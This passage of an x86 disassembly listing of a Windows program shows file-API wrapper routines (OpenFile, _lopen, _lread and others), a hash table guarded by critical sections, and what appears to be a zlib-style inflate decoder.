[ebp+arg_4] movzx eax, byte ptr [eax] cmp eax, 88h jnz short loc_41E8E6 mov eax, [ebp+arg_4] mov byte ptr [eax+1], 1 mov eax, [ebp+arg_4] and word ptr [eax+2], 0 mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_8], ecx cmp [ebp+var_8], 7Fh jnb short loc_41E8BB mov eax, [ebp+var_8] mov [ebp+var_10], eax jmp short loc_41E8C2 ; --------------------------------------------------------------------------- loc_41E8BB: ; CODE XREF: sub_41E85D+54j mov [ebp+var_10], 7Fh loc_41E8C2: ; CODE XREF: sub_41E85D+5Cj mov ecx, [ebp+var_10] mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] add edi, 8 mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_4] and byte ptr [eax+87h], 0 loc_41E8E6: ; CODE XREF: sub_41E85D+22j ; sub_41E85D+2Fj mov eax, [ebp+var_4] jmp short loc_41E90B ; --------------------------------------------------------------------------- loc_41E8EB: ; CODE XREF: sub_41E85D+1Cj push offset dword_4215AC push offset aOpenfile ; "OpenFile" call sub_41D300 pop ecx pop ecx mov [ebp+var_C], eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_C] loc_41E90B: ; CODE XREF: sub_41E85D+8Cj pop edi pop esi leave retn 0Ch sub_41E85D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E911 proc near ; DATA XREF: _5:004242F8o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push 0 lea eax, [ebp+var_4] push eax push 0 push 0 push [ebp+arg_0] call sub_414344 test eax, eax jz short loc_41E931 mov eax, [ebp+var_4] jmp short locret_41E94E ; --------------------------------------------------------------------------- loc_41E931: ; CODE XREF: sub_41E911+19j push offset dword_4215AC push offset a_lopen ; "_lopen" call sub_41D300 pop ecx pop ecx mov [ebp+var_8], eax push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_8] locret_41E94E: ; CODE XREF: sub_41E911+1Ej leave retn 8 sub_41E911 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E952 proc near ; DATA XREF: _5:00424300o var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx movzx eax, ds:byte_429044 and eax, 1 test eax, eax jnz short loc_41E986 mov al, ds:byte_429044 or al, 1 mov ds:byte_429044, al push offset dword_4215AC push offset a_lclose ; "_lclose" call sub_41D300 pop ecx pop ecx mov ds:dword_429040, eax loc_41E986: ; CODE XREF: sub_41E952+10j lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41473F test eax, eax jnz short loc_41E9A1 push [ebp+arg_0] call ds:dword_429040 jmp short locret_41E9A3 ; --------------------------------------------------------------------------- loc_41E9A1: ; CODE XREF: sub_41E952+42j xor eax, eax locret_41E9A3: ; CODE XREF: sub_41E952+4Dj leave retn 4 sub_41E952 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E9A7 proc near ; DATA XREF: _5:00424310o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41441F test eax, eax jnz short loc_41E9E5 push offset dword_4215AC push offset a_llseek ; "_llseek" call sub_41D300 pop ecx pop ecx mov [ebp+var_8], eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_8] mov [ebp+var_4], eax loc_41E9E5: ; CODE XREF: sub_41E9A7+19j mov eax, [ebp+var_4] leave retn 0Ch sub_41E9A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E9EC proc near ; DATA XREF: _5:00424308o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_8] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_415175 test eax, eax jnz short loc_41EA3E push offset dword_4215AC push offset a_lread ; "_lread" call sub_41D300 pop ecx pop ecx mov [ebp+var_C], eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_C] mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jz short loc_41EA3E mov [ebp+var_4], 1 loc_41EA3E: ; CODE XREF: sub_41E9EC+20j ; sub_41E9EC+49j cmp [ebp+var_4], 0 jnz short loc_41EA4A or [ebp+var_10], 0FFFFFFFFh jmp short loc_41EA50 ; --------------------------------------------------------------------------- loc_41EA4A: ; CODE XREF: sub_41E9EC+56j mov eax, [ebp+var_8] mov [ebp+var_10], eax loc_41EA50: ; CODE XREF: sub_41E9EC+5Cj mov eax, [ebp+var_10] leave retn 0Ch sub_41E9EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA57 proc near ; CODE XREF: sub_416C60+5E3p ; sub_416C60+629p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_8] and dword ptr [eax+0Ch], 0 mov eax, [ebp+arg_0] shl eax, 2 push eax call sub_41BA4A pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+8], ecx mov eax, [ebp+var_8] add eax, 10h push eax call ds:dword_4246CC ; InitializeCriticalSection mov eax, [ebp+var_8] leave retn 4 sub_41EA57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA9B proc near ; CODE XREF: sub_41EB05+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov [ebp+var_14], ecx and [ebp+var_4], 0 jmp short loc_41EAB1 ; --------------------------------------------------------------------------- loc_41EAAA: ; CODE XREF: sub_41EA9B:loc_41EAFFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41EAB1: ; CODE XREF: sub_41EA9B+Dj mov eax, [ebp+var_14] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short locret_41EB01 mov eax, [ebp+var_14] mov eax, [eax+8] mov ecx, [ebp+var_4] mov eax, [eax+ecx*4] mov [ebp+var_8], eax loc_41EACA: ; CODE XREF: sub_41EA9B+62j cmp [ebp+var_8], 0 jz short loc_41EAFF cmp [ebp+arg_0], 0 jz short loc_41EADF mov eax, [ebp+var_8] push dword ptr [eax] call [ebp+arg_0] pop ecx loc_41EADF: ; CODE XREF: sub_41EA9B+39j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+var_8] mov eax, [eax+8] mov [ebp+var_8], eax mov eax, [ebp+var_C] mov [ebp+var_10], eax push [ebp+var_10] call sub_41BACD pop ecx jmp short loc_41EACA ; --------------------------------------------------------------------------- loc_41EAFF: ; CODE XREF: sub_41EA9B+33j jmp short loc_41EAAA ; --------------------------------------------------------------------------- locret_41EB01: ; CODE XREF: sub_41EA9B+1Ej leave retn 4 sub_41EA9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB05 proc near ; CODE XREF: sub_418B30+51p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx push 0 mov ecx, [ebp+var_8] call sub_41EA9B mov eax, [ebp+var_8] mov eax, [eax+8] mov [ebp+var_4], eax push [ebp+var_4] call sub_41BACD pop ecx mov eax, [ebp+var_8] add eax, 10h push eax call ds:dword_4246D0 ; RtlDeleteCriticalSection leave retn sub_41EB05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB38 proc near ; DATA XREF: sub_41EB4C+Co ; sub_41EBBB+Co ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] xor ecx, ecx cmp eax, [ebp+arg_4] setnz cl mov eax, ecx pop ebp retn 8 sub_41EB38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB4C proc near ; CODE XREF: sub_413056+94p ; sub_4136FE+63p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push offset sub_41EDD9 push offset sub_41EB38 push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_41EB6C leave retn 4 sub_41EB4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB6C proc near ; CODE XREF: sub_41925C+20p ; sub_41EB4C+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] push dword ptr [eax] push [ebp+arg_0] call [ebp+arg_8] pop ecx pop ecx mov ecx, [ebp+var_8] mov ecx, [ecx+8] mov eax, [ecx+eax*4] mov [ebp+var_4], eax loc_41EB8D: ; CODE XREF: sub_41EB6C+47j cmp [ebp+var_4], 0 jz short loc_41EBB5 push [ebp+arg_0] mov eax, [ebp+var_4] push dword ptr [eax+4] call [ebp+arg_4] test eax, eax jnz short loc_41EBAA mov eax, [ebp+var_4] mov eax, [eax] jmp short locret_41EBB7 ; --------------------------------------------------------------------------- loc_41EBAA: ; CODE XREF: sub_41EB6C+35j mov eax, [ebp+var_4] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_41EB8D ; --------------------------------------------------------------------------- loc_41EBB5: ; CODE XREF: sub_41EB6C+25j xor eax, eax locret_41EBB7: ; CODE XREF: sub_41EB6C+3Cj leave retn 0Ch sub_41EB6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EBBB proc near ; CODE XREF: sub_413838+93p ; sub_413D44+106p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push offset sub_41EDD9 push offset sub_41EB38 push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_41EBDB leave retn 4 sub_41EBBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EBDB proc near ; CODE XREF: sub_419529+2F6p ; sub_41EBBB+17p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov [ebp+var_18], ecx mov eax, [ebp+var_18] push dword ptr [eax] push [ebp+arg_0] call [ebp+arg_8] pop ecx pop ecx mov [ebp+var_C], eax mov eax, [ebp+var_18] mov eax, [eax+8] mov ecx, [ebp+var_C] mov eax, [eax+ecx*4] mov [ebp+var_8], eax mov eax, [ebp+var_18] mov eax, [eax+8] mov ecx, [ebp+var_C] lea eax, [eax+ecx*4] mov [ebp+var_4], eax loc_41EC12: ; CODE XREF: sub_41EBDB+86j cmp [ebp+var_8], 0 jz short loc_41EC63 push [ebp+arg_0] mov eax, [ebp+var_8] push dword ptr [eax+4] call [ebp+arg_4] test eax, eax jnz short loc_41EC4F mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov ecx, [ecx+8] mov [eax], ecx mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax push [ebp+var_14] call sub_41BACD pop ecx mov eax, [ebp+var_10] jmp short locret_41EC65 ; --------------------------------------------------------------------------- loc_41EC4F: ; CODE XREF: sub_41EBDB+4Bj mov eax, [ebp+var_8] add eax, 8 mov [ebp+var_4], eax mov eax, [ebp+var_8] mov eax, [eax+8] mov [ebp+var_8], eax jmp short loc_41EC12 ; --------------------------------------------------------------------------- loc_41EC63: ; CODE XREF: sub_41EBDB+3Bj xor eax, eax locret_41EC65: ; CODE XREF: sub_41EBDB+72j leave retn 0Ch sub_41EBDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC69 proc near ; CODE XREF: sub_410000+3Ep ; sub_414214+D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push offset sub_41EDD9 push offset sub_41EB38 push [ebp+arg_4] push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_41EC8C leave retn 8 sub_41EC69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC8C proc near ; CODE XREF: sub_419529+1E2p ; sub_41EC69+1Ap var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push edi mov [ebp+var_10], ecx mov eax, [ebp+var_10] push dword ptr [eax] push [ebp+arg_0] call [ebp+arg_C] pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_10] mov eax, [eax+8] mov ecx, [ebp+var_8] mov eax, [eax+ecx*4] mov [ebp+var_4], eax loc_41ECB5: ; CODE XREF: sub_41EC8C+52j cmp [ebp+var_4], 0 jz short loc_41ECE0 push [ebp+arg_0] mov eax, [ebp+var_4] push dword ptr [eax+4] call [ebp+arg_8] test eax, eax jnz short loc_41ECD5 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax], ecx jmp short loc_41ED3D ; --------------------------------------------------------------------------- loc_41ECD5: ; CODE XREF: sub_41EC8C+3Dj mov eax, [ebp+var_4] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_41ECB5 ; --------------------------------------------------------------------------- loc_41ECE0: ; CODE XREF: sub_41EC8C+2Dj push 0Ch call sub_41BA4A pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_41ED01 xor eax, eax mov edi, [ebp+var_C] stosd stosd stosd mov eax, [ebp+var_C] mov [ebp+var_14], eax jmp short loc_41ED05 ; --------------------------------------------------------------------------- loc_41ED01: ; CODE XREF: sub_41EC8C+63j and [ebp+var_14], 0 loc_41ED05: ; CODE XREF: sub_41EC8C+73j mov eax, [ebp+var_14] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax+4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax], ecx mov eax, [ebp+var_10] mov eax, [eax+8] mov ecx, [ebp+var_4] mov edx, [ebp+var_8] mov eax, [eax+edx*4] mov [ecx+8], eax mov eax, [ebp+var_10] mov eax, [eax+8] mov ecx, [ebp+var_8] mov edx, [ebp+var_4] mov [eax+ecx*4], edx loc_41ED3D: ; CODE XREF: sub_41EC8C+47j pop edi leave retn 10h sub_41EC8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED42 proc near ; CODE XREF: sub_4182B0+6Fp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] and dword ptr [eax+0Ch], 0 leave retn sub_41ED42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED59 proc near ; CODE XREF: sub_4182B0+82p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx loc_41ED60: ; CODE XREF: sub_41ED59+5Dj mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov eax, [eax+4] cmp eax, [ecx] jb short loc_41ED71 xor al, al jmp short locret_41EDD5 ; --------------------------------------------------------------------------- loc_41ED71: ; CODE XREF: sub_41ED59+12j mov eax, [ebp+var_4] cmp dword ptr [eax+0Ch], 0 jnz short loc_41ED91 mov eax, [ebp+var_4] mov eax, [eax+4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov edx, [ebp+var_4] mov eax, [ecx+eax*4] mov [edx+0Ch], eax jmp short loc_41EDA0 ; --------------------------------------------------------------------------- loc_41ED91: ; CODE XREF: sub_41ED59+1Fj mov eax, [ebp+var_4] mov eax, [eax+0Ch] mov ecx, [ebp+var_4] mov eax, [eax+8] mov [ecx+0Ch], eax loc_41EDA0: ; CODE XREF: sub_41ED59+36j mov eax, [ebp+var_4] cmp dword ptr [eax+0Ch], 0 jnz short loc_41EDB8 mov eax, [ebp+var_4] mov eax, [eax+4] inc eax mov ecx, [ebp+var_4] mov [ecx+4], eax jmp short loc_41ED60 ; --------------------------------------------------------------------------- loc_41EDB8: ; CODE XREF: sub_41ED59+4Ej mov eax, [ebp+var_4] mov eax, [eax+0Ch] mov ecx, [ebp+arg_0] mov eax, [eax+4] mov [ecx], eax mov eax, [ebp+var_4] mov eax, [eax+0Ch] mov ecx, [ebp+arg_4] mov eax, [eax] mov [ecx], eax mov al, 1 locret_41EDD5: ; CODE XREF: sub_41ED59+16j leave retn 8 sub_41ED59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EDD9 proc near ; DATA XREF: sub_41EB4C+7o ; sub_41EBBB+7o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_4] mov eax, edx pop ebp retn sub_41EDD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EDE8 proc near ; DATA XREF: sub_41925C+Co ; sub_419529+1CBo ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41EE22 jmp short loc_41EE06 ; --------------------------------------------------------------------------- loc_41EDFF: ; CODE XREF: sub_41EDE8+38j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41EE06: ; CODE XREF: sub_41EDE8+15j mov eax, [ebp+var_4] movzx eax, byte ptr [eax] test eax, eax jz short loc_41EE22 mov eax, [ebp+var_8] shl eax, 1 mov ecx, [ebp+var_4] movzx ecx, byte ptr [ecx] or eax, ecx mov [ebp+var_8], eax jmp short loc_41EDFF ; --------------------------------------------------------------------------- loc_41EE22: ; CODE XREF: sub_41EDE8+13j ; sub_41EDE8+26j mov eax, [ebp+var_8] xor edx, edx div [ebp+arg_4] mov eax, edx leave retn sub_41EDE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE2E proc near ; CODE XREF: sub_41EE9A+7Dp ; sub_41F88B+Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_8] push ebx xor ebx, ebx push esi mov esi, [ebp+arg_0] cmp eax, ebx push edi jz short loc_41EE45 mov ecx, [esi+3Ch] mov [eax], ecx loc_41EE45: ; CODE XREF: sub_41EE2E+10j mov eax, [esi] mov edi, [ebp+arg_4] cmp eax, 4 jz short loc_41EE54 cmp eax, 5 jnz short loc_41EE5F loc_41EE54: ; CODE XREF: sub_41EE2E+1Fj push dword ptr [esi+0Ch] push dword ptr [edi+28h] call dword ptr [edi+24h] pop ecx pop ecx loc_41EE5F: ; CODE XREF: sub_41EE2E+24j cmp dword ptr [esi], 6 jnz short loc_41EE6F push edi push dword ptr [esi+4] call sub_41FEB3 pop ecx pop ecx loc_41EE6F: ; CODE XREF: sub_41EE2E+34j mov eax, [esi+28h] mov [esi], ebx mov [esi+34h], eax mov [esi+30h], eax mov eax, [esi+38h] mov [esi+1Ch], ebx cmp eax, ebx mov [esi+20h], ebx jz short loc_41EE95 push ebx push ebx push ebx call eax mov [esi+3Ch], eax add esp, 0Ch mov [edi+30h], eax loc_41EE95: ; CODE XREF: sub_41EE2E+57j pop edi pop esi pop ebx pop ebp retn sub_41EE2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE9A proc near ; CODE XREF: sub_42021C+AFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] push edi push 40h push 1 push dword ptr [esi+28h] call dword ptr [esi+20h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_41EF01 push 5A0h push 8 push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [edi+24h], eax test eax, eax jnz short loc_41EED8 push edi push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx pop ecx jmp short loc_41EF01 ; --------------------------------------------------------------------------- loc_41EED8: ; CODE XREF: sub_41EE9A+31j mov ebx, [ebp+arg_8] push ebx push 1 push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [edi+28h], eax test eax, eax jnz short loc_41EF05 push dword ptr [edi+24h] push dword ptr [esi+28h] call dword ptr [esi+24h] push edi push dword ptr [esi+28h] call dword ptr [esi+24h] add esp, 10h loc_41EF01: ; CODE XREF: sub_41EE9A+1Aj ; sub_41EE9A+3Cj xor eax, eax jmp short loc_41EF21 ; --------------------------------------------------------------------------- loc_41EF05: ; CODE XREF: sub_41EE9A+52j and dword ptr [edi], 0 add eax, ebx mov [edi+2Ch], eax mov eax, [ebp+arg_4] push 0 push esi push edi mov [edi+38h], eax call sub_41EE2E add esp, 0Ch mov eax, edi loc_41EF21: ; CODE XREF: sub_41EE9A+69j pop edi pop esi pop ebx pop ebp retn sub_41EE9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF26 proc near ; CODE XREF: sub_42031E+11Bp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi mov ecx, [eax] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebx+20h] mov [ebp+arg_0], eax mov eax, [ebx+1Ch] mov [ebp+var_10], ecx mov ecx, [ebx+34h] mov [ebp+var_4], eax mov eax, [ebx+30h] cmp ecx, eax push edi mov [ebp+var_C], ecx jnb short loc_41EF5E sub eax, ecx dec eax jmp short loc_41EF63 ; --------------------------------------------------------------------------- loc_41EF5E: ; CODE XREF: sub_41EF26+31j mov eax, [ebx+2Ch] sub eax, ecx loc_41EF63: ; CODE XREF: sub_41EF26+36j mov [ebp+var_14], eax loc_41EF66: ; CODE XREF: sub_41EF26+ADj ; sub_41EF26+10Bj ... mov eax, [ebx] cmp eax, 9 ; switch 10 cases ja loc_41F82B ; default jmp ds:off_41F863[eax*4] ; switch jump loc_41EF78: ; DATA XREF: _3:off_41F863o mov edi, [ebp+var_4] ; jumptable 0041EF71 case 0 mov esi, [ebp+arg_0] mov edx, [ebp+var_10] cmp edi, 3 jnb short loc_41EFB2 loc_41EF86: ; CODE XREF: sub_41EF26+8Aj cmp [ebp+var_8], 0 jz loc_41F567 movzx eax, byte ptr [edx] and [ebp+arg_8], 0 dec [ebp+var_8] mov ecx, edi add edi, 8 shl eax, cl mov [ebp+var_4], edi or esi, eax inc edx cmp edi, 3 mov [ebp+arg_0], esi mov [ebp+var_10], edx jb short loc_41EF86 loc_41EFB2: ; CODE XREF: sub_41EF26+5Ej mov eax, esi and eax, 7 mov ecx, eax shr eax, 1 and ecx, 1 sub eax, 0 mov [ebx+18h], ecx jz short loc_41F036 dec eax jz short loc_41EFE8 dec eax jz short loc_41EFD5 dec eax jz loc_41F582 jmp short loc_41EF66 ; --------------------------------------------------------------------------- loc_41EFD5: ; CODE XREF: sub_41EF26+A4j push 3 pop eax shr esi, 3 sub edi, eax mov [ebp+arg_0], esi mov [ebp+var_4], edi jmp loc_41F0C2 ; --------------------------------------------------------------------------- loc_41EFE8: ; CODE XREF: sub_41EF26+A1j mov edi, [ebp+arg_4] lea eax, [ebp+var_1C] push edi push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_28] push eax call sub_420B8A push edi push [ebp+var_1C] push [ebp+var_20] push [ebp+var_24] push [ebp+var_28] call sub_41F8C1 add esp, 28h mov [ebx+4], eax test eax, eax jz loc_41F5B2 shr esi, 3 sub [ebp+var_4], 3 mov [ebp+arg_0], esi mov dword ptr [ebx], 6 jmp loc_41EF66 ; --------------------------------------------------------------------------- loc_41F036: ; CODE XREF: sub_41EF26+9Ej sub edi, 3 mov dword ptr [ebx], 1 mov ecx, edi and ecx, 7 shr esi, 3 shr esi, cl sub edi, ecx mov [ebp+var_4], edi mov [ebp+arg_0], esi jmp loc_41EF66 ; --------------------------------------------------------------------------- loc_41F056: ; CODE XREF: sub_41EF26+4Bj ; DATA XREF: _3:off_41F863o mov ecx, [ebp+var_4] ; jumptable 0041EF71 case 1 mov esi, [ebp+arg_0] cmp ecx, 20h jnb short loc_41F08A mov edx, [ebp+var_10] xor edi, edi loc_41F066: ; CODE XREF: sub_41EF26+160j cmp [ebp+var_8], edi jz loc_41F5DB movzx eax, byte ptr [edx] dec [ebp+var_8] mov [ebp+arg_8], edi shl eax, cl add ecx, 8 or esi, eax inc edx cmp ecx, 20h mov [ebp+var_10], edx jb short loc_41F066 jmp short loc_41F08D ; --------------------------------------------------------------------------- loc_41F08A: ; CODE XREF: sub_41EF26+139j mov edx, [ebp+var_10] loc_41F08D: ; CODE XREF: sub_41EF26+162j mov edi, esi mov eax, esi not edi and eax, 0FFFFh shr edi, 10h xor edi, eax jnz loc_41F5E9 mov [ebx+4], eax xor eax, eax cmp [ebx+4], eax mov [ebp+var_4], eax mov [ebp+arg_0], eax jz short loc_41F0B8 push 2 pop eax jmp short loc_41F0C2 ; --------------------------------------------------------------------------- loc_41F0B8: ; CODE XREF: sub_41EF26+18Bj ; sub_41EF26+288j mov eax, [ebx+18h] neg eax sbb eax, eax and eax, 7 loc_41F0C2: ; CODE XREF: sub_41EF26+BDj ; sub_41EF26+190j mov [ebx], eax jmp loc_41EF66 ; --------------------------------------------------------------------------- loc_41F0C9: ; CODE XREF: sub_41EF26+4Bj ; DATA XREF: _3:off_41F863o cmp [ebp+var_8], 0 ; jumptable 0041EF71 case 2 jz loc_41F601 mov ecx, [ebp+var_14] test ecx, ecx jnz loc_41F16E mov ecx, [ebx+2Ch] mov edx, [ebp+var_C] cmp edx, ecx jnz short loc_41F10B mov eax, [ebx+30h] mov esi, [ebx+28h] cmp eax, esi jz short loc_41F10B mov edx, esi cmp edx, eax mov [ebp+var_C], edx jnb short loc_41F102 sub eax, edx dec eax mov ecx, eax jmp short loc_41F104 ; --------------------------------------------------------------------------- loc_41F102: ; CODE XREF: sub_41EF26+1D3j sub ecx, edx loc_41F104: ; CODE XREF: sub_41EF26+1DAj test ecx, ecx mov [ebp+var_14], ecx jnz short loc_41F16E loc_41F10B: ; CODE XREF: sub_41EF26+1C0j ; sub_41EF26+1CAj push [ebp+arg_8] mov esi, [ebp+arg_4] mov [ebx+34h], edx push esi push ebx call sub_420BB9 mov edx, [ebx+34h] mov [ebp+arg_8], eax mov eax, [ebx+30h] add esp, 0Ch cmp edx, eax mov [ebp+var_C], edx jnb short loc_41F135 mov ecx, eax sub ecx, edx dec ecx jmp short loc_41F13A ; --------------------------------------------------------------------------- loc_41F135: ; CODE XREF: sub_41EF26+206j mov ecx, [ebx+2Ch] sub ecx, edx loc_41F13A: ; CODE XREF: sub_41EF26+20Dj mov edi, [ebx+2Ch] mov [ebp+var_14], ecx cmp edx, edi mov [ebp+var_18], edi jnz short loc_41F166 mov edi, [ebx+28h] cmp eax, edi jz short loc_41F166 mov edx, edi cmp edx, eax mov [ebp+var_C], edx jnb short loc_41F15E sub eax, edx dec eax mov ecx, eax jmp short loc_41F163 ; --------------------------------------------------------------------------- loc_41F15E: ; CODE XREF: sub_41EF26+22Fj mov ecx, [ebp+var_18] sub ecx, edx loc_41F163: ; CODE XREF: sub_41EF26+236j mov [ebp+var_14], ecx loc_41F166: ; CODE XREF: sub_41EF26+21Fj ; sub_41EF26+226j test ecx, ecx jz loc_41F622 loc_41F16E: ; CODE XREF: sub_41EF26+1B2j ; sub_41EF26+1E3j mov eax, [ebx+4] and [ebp+arg_8], 0 cmp eax, [ebp+var_8] jbe short loc_41F17D mov eax, [ebp+var_8] loc_41F17D: ; CODE XREF: sub_41EF26+252j cmp eax, ecx jbe short loc_41F183 mov eax, ecx loc_41F183: ; CODE XREF: sub_41EF26+259j mov esi, [ebp+var_10] mov edi, [ebp+var_C] mov ecx, eax add [ebp+var_10], eax mov edx, ecx sub [ebp+var_8], eax shr ecx, 2 rep movsd add [ebp+var_C], eax sub [ebp+var_14], eax mov ecx, edx and ecx, 3 rep movsb sub [ebx+4], eax jnz loc_41EF66 jmp loc_41F0B8 ; 